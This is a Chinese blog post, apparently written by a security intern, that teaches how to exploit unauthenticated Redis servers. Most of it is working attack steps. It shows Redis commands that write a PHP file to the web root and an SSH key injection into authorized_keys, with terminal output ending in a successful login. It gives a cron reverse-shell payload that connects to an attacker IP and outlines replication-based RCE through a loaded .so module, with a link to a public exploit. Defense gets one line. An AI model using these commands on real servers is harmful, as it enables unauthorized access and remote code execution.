redis未授权漏洞利用

最近几天都有点无所事事, 在甲方实习就得考虑到这种无聊吗? 不过和领导申请去产品测试了hh~ 最近一个月都在搞网络安全, 快真成了一名网络安全工程师。。

1. 背景

  1. redis是什么?

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库

  1. redis有哪些使用场景
  • Redis经常被应用于以下场景
  • 缓存 (Session Cache)
  • 队列 (PUB/SUB)
  • 计数器
  • ……
  1. redis默认端口:6379/tcp

最近几年市场使用redis数据库是越来越多,reids本身没有爆出什么漏洞,但是redis未授权访问是非常普遍的,尤其在内网中,配合ssrf getshell也是很常见的漏洞组合方式。

下面我用saucerframe通过Zoomeye扫了100个ip,其中存在未授权的就有好几个~

2. 利用

当你凑巧发现了redis未授权访问的主机,你会咋办,难道是看看数据,报个信息泄露吗?作为一名志向高远的黑客,当然不能从此放弃,于是我们向getshell的道路上努力前进

2.1 利用写文件getshell

redis虽然是一个内存数据库,但是其也提供了持久化的功能。毕竟持久是必须的,在这个方面redis提供了备份功能,可以将内存中的数据库暂时备份到文件中,也可以从文件中加载数据到内存。其备份的文件名也是随意可控的。

那么我们就可以利用备份功能实现写任意文件,通常写以下文件来进一步利用:

  • webshell
  • 写ssh公钥文件实现免密登录
  • 写定时文件执行命令反弹shell

具体写文件的命令是:

# 设置备份文件路径
config set dir /var/www/html/

# 设置备份文件名
config set dbfilename phpinfo.php

# 向数据库插入payload
set payload "<?php phpinfo(); ?>"

# 保存数据库到备份文件
save

下面大概讲一下写文件的方式

2.1.1 写webshell

1.设置web路径
config set dir /var/www/html/

2.设置shell文件名
config set dbfilename phpinfo.php

3.向数据库插入payload
set payload "<?php phpinfo(); ?>"

4.保存webshell
save


2.1.2 写ssh公钥

1. 生成ssh私钥对
root@kali:~/.ssh# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:6sAufeQNxTthzC7f7VPx/8Bqj8vBz9EgftgaOKNY7C0 root@kali
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|                 |
|       +         |
|        B     .  |
|       +So  . .o |
|   .  +o+  + =.o.|
|   .oo.=oo+.*.* o|
|  ...oo+Eo.++X o.|
|   ...o o..oB++ o|
+----[SHA256]-----+
root@kali:~/.ssh# ls
id_rsa  id_rsa.pub  known_hosts

2.将公钥文件内容上下留两行(这样保存在受害者公钥文件可以避免脏数据的影响)
root@kali:~/.ssh# vim id_rsa.pub 
root@kali:~/.ssh# cd ~/redis-5.0.5/src/
root@kali:~/redis-5.0.5/src# cat /root/.ssh/id_rsa.pub 


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5X6pxsqJblwjGw3mSfpvnya78Tro68lh5K0k9ZPW4Oe1uRnQenmHY/Ou5f+nJXBRrmJijQa0BjzzJnKThkPuIMpIjy77D07xCAgwLqk0OfEFFpJjPf0Kxq/C88hYvlWr2LHqVSUh9+y9hhGUwzMN9nkh6IOJAosZtZc3zJ4kc4pnddc3CPOmxpxf5ztLYotUdChAPZhKGFI3TCdIMaZ4QNeWhQWOkHld1/0lOcVyeUX6GBVAenvT4fQnGJEt3SNY6xZebTthdSE6MZTQiWYMaBlp0Shb/YkWbtx6Gy8VpUvL8fknZKS6YsrB+hM8gp2A4mtNaBY4fguMhlrh+xk65 root@kali


3.读取公钥文件保存到数据库中
root@kali:~/redis-5.0.5/src# cat /root/.ssh/id_rsa.pub | ./redis-cli -h 10.10.12.78 -x set ssh
OK

4.设置公钥地址文件名并且保存

root@kali:~/redis-5.0.5/src# ./redis-cli -h 10.10.12.78
10.10.12.78:6379> keys ssh
1) "ssh"
10.10.12.78:6379> config set dir /home/ubuntu/.ssh
OK
10.10.12.78:6379> config set dbfilename "authorized_keys"
OK
10.10.12.78:6379> save
OK
10.10.12.78:6379> exit

5.接下来即可通过私钥登录

root@kali:~/redis-5.0.5/src# ssh ubuntu@10.10.12.78 -i /root/.ssh/id_rsa
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 * MicroK8s 1.15 is out! Thanks to all 40 contributors, you get the latest
   greatest upstream Kubernetes in a single package.

     https://github.com/ubuntu/microk8s

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

348 packages can be updated.
0 updates are security updates.

Last login: Wed Jul 17 20:53:08 2019 from 192.168.1.136
ubuntu@ubuntu:~$ 

6. 这里我们看下写入的公钥文件长什么样子
ubuntu@ubuntu:~$ cat .ssh/authorized_keys 
REDIS0009�    redis-ver5.0.5�
redis-bits�@�ctime��;]used-mem�(p    �
                                         aof-preamble���sshA�

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5X6pxsqJblwjGw3mSfpvnya78Tro68lh5K0k9ZPW4Oe1uRnQenmHY/Ou5f+nJXBRrmJijQa0BjzzJnKThkPuIMpIjy77D07xCAgwLqk0OfEFFpJjPf0Kxq/C88hYvlWr2LHqVSUh9+y9hhGUwzMN9nkh6IOJAosZtZc3zJ4kc4pnddc3CPOmxpxf5ztLYotUdChAPZhKGFI3TCdIMaZ4QNeWhQWOkHld1/0lOcVyeUX6GBVAenvT4fQnGJEt3SNY6xZebTthdSE6MZTQiWYMaBlp0Shb/YkWbtx6Gy8VpUvL8fknZKS6YsrB+hM8gp2A4mtNaBY4fguMhlrh+xk65 root@kali


����^z1��

2.1.3 写定时任务反弹shell

这个方法只能Centos上使用,Ubuntu上行不通,故未测试。原因如下:

1.权限问题,ubuntu定时任务需要root权限
2.redis备份文件存在乱码,在Ubuntu上会报错,而在Centos上不会报错

利用流程如下:

1.设置文件名和路径(这个因系统不同而路径不同)
config set dir /var/spool/cron/crontabs
config set dbfilename root

2.插入定时任务
set payload "* * * * * bash -i >& /dev/tcp/10.10.12.47/8888 0>&1"

3.保存
save

通过以上三种方法我们实现了写文件getshell,但是其中的弊端也很容易发现

  • 需要知道要写的文件地址和路径
  • 需要对写入文件有读写权限
  • 会写入很多无用数据,可能会导致程序出错
  • 需要利用到其他程序,比如web应用程序,如果利用docker部署,上述方法即失效。

2.2 基于主从复制实现rce

这种方式是LC/BC的成员Pavel Toporkov在2019年7月7日结束的WCTF2019 Final分享的,算是新鲜出炉的方式了。

在介绍这种利用方式之前,首先我们需要介绍一下什么是主从复制和redis的模块。

  • redis主从复制

如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

可用过下图来理解,其中slaveof 172.17.0.3就是将其设置为自己的主节点,主机数据会同步到每个从节点。

  • redis模块

和mysql类似,redis也支持扩展命令,我们需要编写so文件,来扩展命令,具体怎么写的就不用管了,反正知道可以通过加载so文件来扩展命令就对了。

比如写一个可以执行系统命令的扩展:

于是问题变得很简单,我们只要想办法将so文件传输过去然后加载即可实现任意命令执行。

具体的步骤如下:

  • 第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
  • 第二步,我们设置备份文件名为so文件
  • 第三步,设置传输方式为全量传输
  • 第四步加载so文件,实现任意命令执行

这里需要解释一下,redis主从数据库之间的同步分为两种,全量复制和部分复制,全量复制是将数据库备份文件整个传输过去,然后从节点清空内存数据库,将备份文件加载到数据库中。而部分复制只是将写命令发送给从节点。

这里我们选择全量复制,就可以将备份文件(so)文件传输过去。

但是还有个小问题,为什么我们要伪装成redis数据库,难道不是用真的数据库来传文件吗?少年,远不用那么麻烦,我们只需要根据协议收包发包就可以假装自己是数据库了啊。

和tcp三次握手类似,主从数据库之间建立关系也是通过几次握手来实现的,当然了比三次握手稍微复杂一点。

接收到PING发个PONG,接收到REPLCONF我们就发OK...总之以假乱真。

原理很简单,方法一出,exp当然也很快就来了。

https://github.com/Ridter/redis-rce

我们可以使用-v参数看下具体发了哪些数据包来帮助理解。

成功后,我们可以查看目标目录下面出现了exp.so

3. 防御

一切的根源都是redis未授权导致的,所以。。。

当然了企业内网中可以用nids检测,比如suricata中,规则可以看下:https://github.com/ptresearch/AttackDetection/blob/master/redis_replication_rce/redis_replication_rce.rules

4. 参考

1 + 3 =
快来做第一个评论的人吧~